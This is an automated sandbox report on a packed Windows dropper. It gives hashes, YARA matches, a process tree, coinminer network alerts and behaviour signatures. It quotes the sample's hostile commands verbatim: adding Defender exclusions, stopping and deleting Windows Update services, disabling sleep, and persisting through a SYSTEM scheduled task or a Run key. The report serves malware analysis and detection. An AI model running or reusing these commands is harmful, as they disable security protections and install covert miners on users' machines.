Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Feb. 19, 2025, 10:36 a.m.	Feb. 19, 2025, 10:47 a.m.

Size	6.0MB
Type	PE32+ executable (GUI) x86-64, for MS Windows
MD5	`a07b7ca47de7e03b3f4ee5d8468ba8da`
SHA256	`5f8d8f6f45a3f24537c3be6ca22e46c0195eecae3ec52dba8995a3bdd77c2b3d`
CRC32	`EB7C58BE`
ssdeep	`98304:j3G2lC+i0bBHXGgjaQx+OhfzTxzdloaDW5BKtxo5fQIwuhkhUwb:j3G8Cj0bR2Ej1hbTxkRzKYAEk7b`
PDB Path	D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb
Yara	Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult IsPE64 - (no description) Generic_Malware_Zero - Generic Malware OS_Processor_Check_Zero - OS Processor Check UPX_Zero - UPX packed file

Okfgjrg5d8gt.exe "C:\Users\test22\AppData\Local\Temp\Okfgjrg5d8gt.exe"
2628
- liu5jhg.exe "C:\Users\test22\AppData\Local\Temp\liu5jhg.exe"
  2824
- sdfg5fee.exe "C:\Users\test22\AppData\Local\Temp\sdfg5fee.exe"
  2868
  - powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
    744
  - cmd.exe cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    2900
    - sc.exe sc stop UsoSvc
      2420
    - sc.exe sc stop WaaSMedicSvc
      2788
    - sc.exe sc stop wuauserv
      2776
    - sc.exe sc stop bits
      2400
  - cmd.exe cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
    1156
    - powercfg.exe powercfg /x -hibernate-timeout-ac 0
      672
  - powershell.exe powershell <#tkmebyokj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Barac' /tr '''C:\Program Files\Cuis\bon\Bara.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Cuis\bon\Bara.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Barac' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Barac" /t REG_SZ /f /d 'C:\Program Files\Cuis\bon\Bara.exe' }
    2388
  - C:\Windows\system32\dialer.exe
    1964
  - powershell.exe powershell <#byjeowvd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "Barac" } Else { "C:\Program Files\Cuis\bon\Bara.exe" }
    2692
- iujtyjythyt.exe "C:\Users\test22\AppData\Local\Temp\iujtyjythyt.exe"
  2912

Name	Response	Post-Analysis Lookup
usa-east.raptoreum.zone	A 31.220.102.19

IP Address	Status	Action
164.124.101.2	Active	Moloch
31.220.102.19	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49169 -> 31.220.102.19:3333	2017871	ET COINMINER W32/BitCoinMiner.MultiThreat Subscribe/Authorize Stratum Protocol Message	Crypto Currency Mining Activity Detected
TCP 192.168.56.101:49169 -> 31.220.102.19:3333	2017871	ET COINMINER W32/BitCoinMiner.MultiThreat Subscribe/Authorize Stratum Protocol Message	Crypto Currency Mining Activity Detected
TCP 192.168.56.101:49169 -> 31.220.102.19:3333	2017871	ET COINMINER W32/BitCoinMiner.MultiThreat Subscribe/Authorize Stratum Protocol Message	Crypto Currency Mining Activity Detected

Suricata TLS

No Suricata TLS

Queries for the computername (4 events)

Time & API	Arguments	Status	Return
GetComputerNameW Feb. 19, 2025, 10:46 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2025, 10:46 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2025, 10:46 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 19, 2025, 10:46 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Feb. 19, 2025, 10:29 a.m.			0	0
IsDebuggerPresent Feb. 19, 2025, 10:29 a.m.			0	0
IsDebuggerPresent Feb. 19, 2025, 10:46 a.m.			0	0
IsDebuggerPresent Feb. 19, 2025, 10:47 a.m.			0	0

Command line console output was observed (4 events)

Time & API	Arguments	Status	Return
WriteConsoleW Feb. 19, 2025, 10:46 a.m.	buffer: [SC] OpenService FAILED 1060: The specified service does not exist as an installed service. console_handle: 0x0000000000000007	1	1
WriteConsoleW Feb. 19, 2025, 10:46 a.m.	buffer: [SC] OpenService FAILED 1060: The specified service does not exist as an installed service. console_handle: 0x0000000000000007	1	1
WriteConsoleW Feb. 19, 2025, 10:47 a.m.	buffer: [SC] ControlService FAILED 1062: The service has not been started. console_handle: 0x0000000000000007	1	1
WriteConsoleW Feb. 19, 2025, 10:47 a.m.	buffer: [SC] ControlService FAILED 1062: The service has not been started. console_handle: 0x0000000000000007	1	1

Uses Windows APIs to generate a cryptographic key (13 events)

Time & API	Arguments	Status	Return
CryptExportKey Feb. 19, 2025, 10:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003615f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2025, 10:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b7b08a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2025, 10:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b7b08a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2025, 10:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b7b08a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2025, 10:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b7b08a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2025, 10:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b7b08a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2025, 10:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b7b0520 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2025, 10:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b7b0520 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2025, 10:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b7b0520 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2025, 10:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b7b0520 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2025, 10:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b7b0de0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2025, 10:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b7b0de0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2025, 10:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b7b0de0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

This executable has a PDB path (1 event)

pdb_path

D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Feb. 19, 2025, 10:29 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (2 events)

section	.didat
section	_RDATA

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

PNG

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ Feb. 19, 2025, 10:47 a.m.	stacktrace: 0x16aa4 0x140001f16 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.instruction: add byte ptr [rax], al exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x16aa4 registers.r14: 0 registers.r15: 0 registers.rcx: 2554056 registers.rsi: 0 registers.r10: 0 registers.rbx: 47936899621426 registers.rsp: 2554008 registers.r11: 0 registers.r8: 8796092882944 registers.r9: 5368715332 registers.rdx: 5368715332 registers.r12: 0 registers.rbp: 2554032 registers.rdi: 0 registers.rax: 47936899621426 registers.r13: 0	1	0	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 246 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2628 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007304c000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:30 a.m.	process_identifier: 2824 region_size: 176128 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000500000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:30 a.m.	process_identifier: 2868 region_size: 176128 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000001fe0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:30 a.m.	process_identifier: 2868 region_size: 176128 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000001e20000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 1245184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000980000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000a30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a11000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef40ab000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 1900544 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000021d0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002320000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a12000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a12000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a12000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a12000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a12000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a12000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a12000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a12000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a12000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a12000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a12000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a14000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a14000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a14000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a14000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9428a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9433c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94366000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94340000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9429c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe943c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe942ab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9428b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe942dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe942ad000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94410000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94282000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9429a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94411000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9429b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94420000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94421000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe942dd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 19, 2025, 10:29 a.m.	process_identifier: 2912 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94422000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

A process attempted to delay the analysis task. (1 event)

description

cmd.exe tried to sleep 124 seconds, actually delayed analysis time by 124 seconds

Creates executable files on the filesystem (3 events)

file	C:\Users\test22\AppData\Local\Temp\iujtyjythyt.exe
file	C:\Users\test22\AppData\Local\Temp\liu5jhg.exe
file	C:\Users\test22\AppData\Local\Temp\sdfg5fee.exe

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (3 events)

cmdline	powershell <#byjeowvd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "Barac" } Else { "C:\Program Files\Cuis\bon\Bara.exe" }
cmdline	powershell <#tkmebyokj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Barac' /tr '''C:\Program Files\Cuis\bon\Bara.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Cuis\bon\Bara.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Barac' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Barac" /t REG_SZ /f /d 'C:\Program Files\Cuis\bon\Bara.exe' }
cmdline	powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\iujtyjythyt.exe

A process created a hidden window (5 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Feb. 19, 2025, 10:30 a.m.	thread_identifier: 1216 thread_handle: 0x0000000000000070 process_identifier: 744 current_directory: filepath: track: 1 command_line: powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x0000000000000074	1	1
CreateProcessInternalW Feb. 19, 2025, 10:30 a.m.	thread_identifier: 232 thread_handle: 0x0000000000000074 process_identifier: 2900 current_directory: filepath: track: 1 command_line: cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x0000000000000088	1	1
